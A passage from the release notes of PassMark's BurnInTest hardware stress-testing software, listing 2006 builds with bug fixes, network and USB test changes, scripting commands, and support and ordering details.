directory. Specifically, the following files have been moved from the Program Files directory to the User Personal directory, e.g. Vista - "C:\Users\\Documents\PassMark\BurnInTest\" XP - "My Documents\PassMark\BurnInTest\" Files: Configuration file, Configuration load/save default directory, Save log file and image default directory, parallel port override "ioports.dat" directory, default command line script directory, log file directory, video file directory, Plugin directory, machine id file directory, Run as script default directory, CD burn image, Advanced network FTP temp files. - Replaced the Help system with Browser based help. - Changed the Disk test block size from 16KB to 256KB. It is planned to make this user configurable in the next build. Release 5.1 build 1014 WIN32 release 2 November 2006 WIN64 release 2 November 2006 - Corrected a bug when running on Vista, where the Standard network test would report a checksum error when the transmitted data was correct. - Corrected a bug where BurnInTest would not stop the tests based on the number of test cycles for the Plugin test or the Advanced Network test. - Made the "Could not set USB2Test mode" USB error message more specific by adding an error for insufficient system resources. - Changed the preferences Window to fit on an 800x600 resolution screen. - Corrected a minor bug in Activity level 2 trace logging with the 'hide duplicate' preference setting. - Corrected a minor memory leak if the 2D test failed to initialize (such as due to a DirectX problem). - The Parallel port test may now be used on Windows Vista. Specifically, the PassMark device driver used for the parallel port test could not be loaded on 64-bit Windows Vista as it was not digitally signed. It is now digitally signed. Release 5.1 build 1013 revision 0002 WIN32 release 19 September 2006 WIN64 release 19 September 2006 - Corrected an Access Violation problem reported by a customer on a particular MB. Release 5.1 build 1013 WIN32 release 7 September 2006 WIN64 release 7 September 2006 - The "Notes" section has been added to the Customer results certificate. - Some additional configuration range validation has been added. Release 5.1 build 1012 WIN32 release 15 August 2006 - Corrected a false report of a "Unable to get disk volume extent information" for the disk butterfly seek test. - Advanced Network test changes for errors: "Corrupt header - packet discarded" and "Advanced Network test timed out" - Advanced Network test Endpoint changes for problems on non-English Operating Systems and systems with the Windows "Network Interface" performance statistics disabled. - SMART parameters on a Samsung Hard Disk caused BurnInTest to fail when running the disk test with SMART thresholds enabled. This has been corrected. - The 2D scrolling H's test could display corrupt characters on the second and subsequent test run. This has been corrected. - A problem with the Integer maths test where the results could display a negative number of operations has been resolved. - Minor improvements to the help file. - HTML help file added for Windows Vista and Longhorn Server. - Minor improvements to the Error Classification file (error descriptions). - Some CD Trace level 1 logging has been moved to trace level 2. - Trace level 1 logging has been added to the test closing software. - New build of Endpoint.exe (1.0 1010). Release 5.1 build 1011 WIN32 release 6 July 2006 - New Advanced Network test error reporting added in the previous build V5.1 1010 has been removed. - A broader range of USB 2.0 Loopback plugs can now be used with BurnInTest. Release 5.1 build 1010 WIN32 release 4 July 2006 - Corrected the HTML report description of the L2/L3 CPU cache when the L3 cache size could not be determined. Advanced network changes: - Endpoints ran at 100% CPU load as they contained no throttling. This impacted their ability to effectively handle multiple threads handling TCP/UDP messaging. Throttling has been added to the EndPoint side to reduce CPU load. This does not greatly impact Network load. - Throttling on the BurnInTest side contained a sleep that was not insignificant. This could have impacted the BurnInTest data test thread to to handle incoming TCP and particularly UDP messages. This sleep has been reduced and other throttling parameters changed to suit. (ie. smaller sleeps more often). - EndPoint systems with x NICs (where x > 1), reported themselves as an Endpoint with x NICs, x times. Effectively registering with BurnInTest as x * x EndPoint NICS. This impacted the effectiveness of the load distribution to EndPoint NICs. An Endpoint system now only registers the once with BurnInTest. - The BurnInTest side did not report data verification Checksum errors for full duplex testing. This error determination has been corrected and reporting added. - The Test statistics sent from the Endpoint to BurnInTest could fail if the statistics block is split across 2 lower level TCP send packets. This could lead to problems like incorrect reporting of Endpoint determined checksum errors, Endpoint load and load balancing. Further it would lead to an Endpoint testthread being put into an endless TCP send loop. This would eventually bring the Endpoint system to its knees as more and more of these test threads go into this state. This has been corrected. - The Data Received reported by BurnInTest was double counted. This has been corrected. Release 5.1 build 1009 WIN32 release 23 June 2006 - Plugin test error classifications were incorrect in the log file detailed description. - Corrections to the advanced network test (BurnInTest and EndPoint). Release 5.1 build 1008 - limited release WIN32 release 20 June 2006 - Advanced network changes corrections. Most notably, a bug where part of the payload data could be lost if the payload block (eg. 1000 bytes) was split across 2 (or more) lower level TCP packets. - Added version reporting for Endpoints. Release 5.1 build 1007 - limited release WIN32 release 16 June 2006 Advanced network changes: - Corrected a BurnInTest access Violation introduced in V5.1 1006. - The Endpoint now reports its version and build to BurnInTest and BurnInTest reports this in the log file if it is an earlier version than expected. This is to help avoid the situation where old Endpoints are run on the Network, that may not be compatible with the version of BurnInTest being run by the user. - Removed a timeout report in a specific instance where a timeout is not an error. - Changed the Endpoint rebalancing and polling to occur less often after the test has been running 3 minutes. This is to help allowing the handling of polling from a larger number of multiple copies of BurnInTest on the Network. - Added a connection retries on failure for the Endpoint. - Corrected a memory leak in the Endpoint. - Increased the number of sockets supported. - Corrected some Advanced Network error classifications. Release 5.1 build 1006 - limited release WIN32 release 14 June 2006 - Improvements to the Advanced Network test (both BurnInTest V5.1 1006 and EndPoint V1.0 1004) to remove corrupted false packet corruption errors. Improved the timeout recovery mechanism. Added some validation to the Windows Network performance data used for NIC utilization. - Changes to the collection of Disk drive information on startup to try to resolve a startup issue on Systems with a large number of physical drives and 'unusual' WMI namings. Release 5.1 build 1005 WIN32 release 2 June 2006 - Corrected a bug in the Advanced network test where the test would not recover from timeout errors. The test appears to be running, but the results are 0 and the number of connected End Points are 0. Also improved the retry on timeout mechanism. - Removed some duplication in error reporting in the Advanced Network test. - Changed the Advanced Network display of Utilization to ensure a maximum of 100% displayed. - Corrected an Advanced Network test bug where the number of Errors reported in the test window would not take into account the corrupt packet threshold, and an error would be added for each occurrence of the corrupt packet (rather than when the user set threshold was reached). Release 5.1 build 1004b WIN32 release 25 May 2006 (not publicly released) - Corrected the default Advanced network corrupt packet threshold value. - Updated the data entry fields in the CD preferences when a different CD drive is selected. - The Advanced Network specific log files should be concatenated for a script run. This was only occurring for the first NIC under test. The concatenation will now occur for each NIC under test, when run from a script. - Corrected a bug where a log file name specified with no directory path could be incorrect. - Corrected a bug where the customer "Test Certificate" report incorrectly translated the "%" character from a customer specific HTML template. eg would be translated to . - The "Advanced Network test error" (215) has been removed and replaced with other existing error messages 214, 219, 220, 221 or 222. - Added the Customer name and Technician name to the text and HTMl reports. Previously, this information was only included in the "Test Certificate" report. - We have added a commandline option to specify the Serial port test data as a constant value. To specify specific data for the Serial port test you should specify e.g. "bit.exe /E 23" from the command line where 23 is in decimal and will be used for all test data (instead of random data). The vales should be between 0 and 255. Release 5.1 build 1004 WIN32 release 19 April 2006 (not publicly released) - Added the COM port speed of 921600 Kbits/s for RS 422/RS485 testing. - Changed the CD test to ensure that the entire test CD data is not cached on systems with a large amount of RAM. - Added a -M command line option to display the Machine ID window automatically when BurninTest starts. - Changed the 2D EMC scrolling H's test to work on multiple monitors were the resolution on each is different. - Changed log files such the syntax "..\" could be used for files in the directory up a level. - Minor correction to the advanced network test. Release 5.1 build 1003 WIN32 release 18 April 2006 WIN64 release 18 April 2006 - Changed the Advanced network test to allow a corrupt packet threshold value up to 1 million. - Bundled a new version of rebooter. Release 5.1 build 1002 WIN32 release 11 April 2006 WIN64 release 11 April 2006 - Corrections to the translation of V4.0 to V5 configuration files. Note: Configuration files in V5.x builds prior to V5.1 1002 could become corrupted if a V4.0 configuration file is loaded. - Corrected a bug where the main Window size and location were not restored on restarting BurnInTest. - Changes to the SMART attribute logging to support a greater range of Disk drive device drivers. Added additional Activity Level 2 trace logging. - Added an option to use CTS (Clear To Send) flow control in the loop back stage of the COM port test. - Corrected a bug where the CPU L3 cache could be reported as -1. - Help file updates. Release 5.1 build 1001 WIN32 release 30/March/2006 - Digitally signed the BurnInTest application to allow it to run under Windows Server "Longhorn". Note, previously only the installation package was digitally signed. - Updated the reported Operating system descriptions, including: - Windows Vista - Windows Server "Longhorn" - Corrected a bug where the Advanced network information was not displayed on the main window when it was run from a script. - The Advanced Network Corrupt threshold packet has been changed to produce an error every time the error is received after the threshold is reached. - Corrected the reporting of "Network, Packet discarded due to corrupt header" as a Network test error. - Corrected a bug where a new log file was not created if (only) the log prefix changed during the running of a script file. - Split the "Network, Advanced Network test error" error into 6 errors: "Network, Advanced Network test error" "Advanced Network Socket error" "Advanced Network Send error" "Advanced Network Send error - no data sent" "Advanced Network Receive error" "Advanced Network Receive error - no data received" Added either activity trace 1 or trace 2 logging for each of the errors, with additional information where available. - Added additional Serial port activity trace 2 logging. Including the logging of all transmit buffer data when the /B command line is used. Release 5.1 build 1000 WIN32 release 27/March/2006 (not a public release) Added the following features: - Create the log file directory specified in the Logging Options if it does not exist. - Condense the Advanced Network Test log files to one log file per IP address per script run, when run from a script. - Added an option to summarize duplicate errors in the log file. - Color coded errors based on severity in the Detailed event log Window and the HTML log file. - Added an option to only create a log file when BurnIn actually runs a test as opposed to every time BurnIn is executed. - Added a warning if a test thread completes with 0 cycles and 0 operations. - In the results summary html file, inserted more spacing between the 揘otes? and 揇etailed Event Log? - Changed the Activity Trace file format to be the same as the log file, ie. text or HTML, rather than always text. - The 2D 揝crolling H抯?test will now display across multiple screens/displays ?i.e. all active displays. - A threshold has been added for the 揷orrupt header ?packet discarded?event in the advanced network options so that a 揊ail?is not produced when that is the only thing that produces errors. - Added looping capability in scripting. LOOP n { ? } where n is the number of times to repeat the commands in the brackets. - Corrected a bug where PASS could be displayed if the Advanced Network test was the only test running, but it failed. Release 5.0 build 1001 WIN32 release 9/March/2006 - Corrected a bug where Network directory paths were not accepted, eg. for the log file name and post test application file name. - The CPU maths test has been improved to better load up all CPU's. Previously BurnInTest started a maths test thread per physical CPU package. BurnInTest has been changed to start a maths test thread per CPU (= num. physical CPU packages x num. CPU cores x num. logical CPUs). - The CPU preferences have been changed to allow the CPU maths test to be locked to any CPU (ie. select a CPU from a list of CPU's where the number of CPU's = num. physical CPU packages x num. CPU cores x num. logical CPUs). - The Parallel and Serial port error message have been modified in the case where a test plug may not have been connected to indicate that the user should check this. - Corrected a bug where a licenced version could display the message "[limited evaluation version]" Release 5.0 build 1000 WIN32 release 24/February/2006 WIN64 release 24/February/2006 NEW TESTS & IMPROVEMENTS TO EXISTING TESTS BurnInTest Standard and Professional versions. - Added a customer style results certificate. This will save the log file in HTML format but from the perspective of a end customer. This report style can be tailored by the user (through changing an HTML template). - An MP3 playback test has been added to the Sound test. - A color printer test has been added. - A new post test option to allow the results to be printed automatically at the end of a test has been added. - Added new Post-test action options of: - Optionally allow the user to "run an external program & exit" after BIT has been manually stopped. Modify the $RESULT variable to "PASS (manual abort)" or "FAIL (manual abort)" for this case. - Allow the results window to be displayed for all post test options (except Reboot). - Added new Pre-test actions to allow an external application to be run and have BIT wait for the application to exit. On continuing, BIT will run the subscript file (of scripting commands) if it has been created. - Changed the manual Stop buttons, to abort the running of a script (rather than just the current test). BurnInTest Professional specific. - Added a "Plugin" test that allows users to develop their own BurnInTest test modules for specialized hardware. Three external plugins may be specified at once. - A Modem test has been added to BurnInTest as a Plugin. PassMark's ModemTest Version V1.3 (latest build) is required. - A KeyBoard Test has been added to BurnInTest as a Plugin. PassMark's KeyboardTest Version V2.2 (latest build) is required. - A Firewire Test has been added to BurnInTest as a Plugin. PassMark's free Firewire plugin is required and a "Kanguru FireFlash" drive is required. - A new advanced network test has been added. BurnInTest Professional only. - The Memory test now allows the user to specify the type of test pattern to be used. - Testing with the USB 2.0 Loopback plug has been improved. When used with USB 2.0 Loopback device driver V2.0.1002, error details will now be reported for: CRC error reported by USB Host controller BIT STUFF error reported by USB Host controller DATA TOGGLE MISMATCH error reported by USB Host controller STALL PID error reported by USB Host controller DEVICE NOT RESPONDING error reported by USB Host controller PID CHECK FAILURE error reported by USB Host controller UNEXPECTED PID error reported by USB Host controller DATA OVERRUN error reported by USB Host controller DATA UNDERRUN error reported by USB Host controller BUFFER OVERRUN error reported by USB Host controller BUFFER UNDERRUN error reported by USB Host controller NOT ACCESSED error reported by USB Host controller FIFO error reported by USB Host controller TRANSACTION (XACT) ERROR reported by USB Host controller BABBLE DETECTED error reported by USB Host controller DATA BUFFER ERROR reported by USB Host controller In the case of these errors, BurnInTest will re-attempt the operation. The user can set the Error reporting to be skipped for the initial recovery attempt. IMPROVEMENTS TO TESTING FACILITIES - Added a disk autoconfig, such that when tests are started, the disk drives and settings will be defaults to all disks (exc. CD/DVD). This may be useful when testing multiple systems with different hard disk drive letters. - Store the position of the Main window on exiting BurnInTest. On starting BurnInTest, position the main window as saved; on starting tests, position the test windows as saved. - Allow a "drag & drop" of the Configuration file directly on the BurnInTest program icon. - Allow testing 99.5% to 100% of disk, instead of 94%, for disks that do not contain the Windows directory and do not contain a swap file. - Added the ability to log interim results, which may be useful for unstable systems. - AMD and Intel Dual core reporting added. - New L2 CPU cache sizes added to reports. - CPU support for SSE3, DEP and PAE added to reports. - Shortcut of "F1" for contextual help added to all Windows. - Improve the flexibility in specifying the EXECUTEWAIT scripting command for sleeper. - Updated logging header information with the hard and optical drive model. - The 2D and 3D tests have been updated to use DirectX 9.0c. - User interface updated. - The HTML report format has been improved. - The BurnInTest configuration file extension has been renamed from .cfg to use .bitcfg, to ensure the configuration file is associated with BurnInTest. - An error message indicating that accumulated log files are not supported when run from CD or DVD has been added. - To allow smaller test files with very large disks, the minimum disk test file size has been reduced from 0.1% to 0.01% of the disk space. - Log events were previously shown as "INFORMATION" if they were low level errors, or simply additional information (not errors). "INFORMATION" now refers to a low level error, and "LOG NOTE" now refers to additional information (that is not in the error count). - Improved the specific detail of the Serial Port errors detected. BurnInTest now reports framing errors, buffer overrun errors, input buffer overflow errors, parity errors and Transmit buffer full errors as specific error messages (rather than a broader error description). - Added the /k command line so the user can specify not to delete HDD test files if an error occurs. - Increased Activity trace level 1 error logging for Serial port testing. - Increased Activity trace level 1 error logging for Hyper threading detection. - Bundled a new version of the Rebooter program. - Improved the Serial port error logging (displaying baud rate) and increased Activity trace level 1 error logging (displaying erroneous data). - Modified the Window sizes to help improve navigation on smaller displays (i.e. 640x480). - The CPU load for the Standard and Torture RAM tests has been made more linear with the duty cycle setting. Note: This means that compared to the previous build of BurnInTest, less RAM test operations will be run per second (when the duty cycle is less than 100). - Additional debug code and very minor changes in the Loopback sound test. - The Post test option of "Run external application and exit" has been modified such that if no external file is specified, this Post test option will just exit BurnInTest. - Allowed the full range of PassMark USB1 loopback plugs to be used with BurnInTest Professional. - Added additional Activity Trace level 2 logging. - The delay inserted between packets in the USB2 test, when the duty cycle is less than 50, has been changed from at least 1ms to at least 1ms to 50ms (for a Duty Cycle of 49 down to 0). - The subscript commands to configure BurnInTest from an external application (i.e. specified in the bit-script-input.txt file and run by specifying either a pre-test or EXECUTEWAIT application) has been changed to allow "LOAD" commands (in addition to "SET" scripting commands). - Renamed the "Error" log to "Event" log. - Changed the order of the items in an Event log line, such that the Severity is the first item. - The EXECUTEWAIT script command has been modified such that the external application may provide an input script file (of SET... commands) to be run after the EXECUTEWAIT application closes. This allows external applications to define test environment parameters (such as the serial number and machine type). - Added scripting commands: SETSERIAL "1234-shdfgdhs-GHGHG" SETMACHINETYPE "HP XPS800" SETNOTES "Test notes defined by the external application." SETLOG "\Program Files\Plugin\plugin_log" SETPLUGIN "\Program Files\Plugin\plugin.exe" - Added POST TEST application parameter substitution to allow values to be passed to an external application at the end of a test. These are: $RESULT - "PASS" or "FAIL" will be substituted. $SERIAL - The serial number will be substituted. $MACHINETYPE - The machine type will be substituted. $NOTES - The notes will be substituted. - Added extra logging for memory allocation errors in the disk test - Added "log bad sector increase" and "bad sector threshold" options to disk test. This resulted in a change to the configuration file format and required additional code to automatically convert from old formats. - Modified the user interface in the preferences window for the disk test and the CD test - Improved the handling of USB 2.0 loopback plugs recovery from sleep states. BUG CORRECTIONS - Corrected a bug where the System and Application events logged in the BurnInTest Trace logs were wrong if the event log had reached its maximum size. - Checks that the Sound test files (WAV and MIDI) exist have been added. - The continuous auto updating of the USB image (USB Loopback plug vs. USB 2.0 Loopback plug) on the main window has been removed. This is now updated on BIT startup, selecting Refresh in USB preferences or on starting a test. If there is a serious USB problem, this (together with the USB 2.0 Loopback device driver, V2.0.1002) will avoid the possibility of BurnInTest locking up. - Corrected a bug with the Butterfly seek mode of the Disk test. This was found to occur with FAT32 disks where the Cylinder size was relatively small and the Sector size relatively large. - Reset Defaults on the Configuration Page now resets the Auto Stop Value. - Reset Defaults on the Configuration Page now resets the color indicators. - The CD test has been modified to skip invalid files either with "?"'s , to avoid reporting errors that are due to the CD test media filenames. - The Network test results window scroll bar has been corrected. - The Memory torture test could fail on some systems with a small amount of RAM and relatively high memory fragmentation. This has been corrected. - Scripting correction for .cmd files. - Corrected a bug that caused problems when running the disk test with SMART monitoring turned on. This problem only occurs on a small number of HDD's. - Corrected memory leaks - On occasion, the measured waveform from the loopback sound test may have been slightly altered on starting or stopping all tests, possibly enough to trigger an error. This has been resolved. - If an error occurred in the final second of a test, the error may have been logged but not included in the big PASS/FAIL results window. This has been corrected. - After running a script file that loaded a configuration file, that had a full path specified, the Save and Load configuration menu options no longer worked. This has been corrected. - Previously, the Version of BurnInTest was only written in the First log file after starting BurnInTest. This log line is now written in all log files. - For USB2 tests that have read or write failures, the Windows error codes are now included in the level 2 Activity trace log. - Command line parameters may now be passed to a PreTest application. - Log files may now use a single static filename. This may be useful when the log file is to be parsed by an external program. - Corrected a bug where the Plugin test would stop prematurely. - Corrected the specification of the Scripting EXECUTEWAIT filename. - Changed Script processing such that a script is aborted if a scripting error is encountered and Stop on error is selected. - Added an indication on the main window that a script is currently running ("Script currently running"). - Corrected the serial port test to identify non-existing plugs when the Disable RTS/CTS and DSR/DTR testing has been selected. - Corrected the display of strange results (666666) reported by a user, related to copy protection. - Fixed a memory leak bug in the MBM interface which caused memory allocation errors. - Added BIT version number to the ASCII log file. - Fixed a bug with the 3D Test that was causing it to stop before the autostop timer period - Changed an error in the tape drive test to a warning if tape drive doesn't support setting drive parameters. History of earlier releases: Please see http://passmark.com/products/bit_history.htm Documentation ============= All the documentation is included in the help file. It can be accessed from the help menu. There is also a PDF format Users guide available for download from the PassMark web site. Support ======= For technical support, questions, suggestions, please check the help file for our email address or visit our web page at http://www.passmark.com Ordering / Registration ======================= All the details are in the help file documentation or you can visit our sales information page http://www.passmark.com/sales Compatibility issues with the Network & Parallel Port Tests =========================================================== If you are running Windows 2000 or XP, you need to have administrator privileges to run this test. Enjoy.. The PassMark Development team

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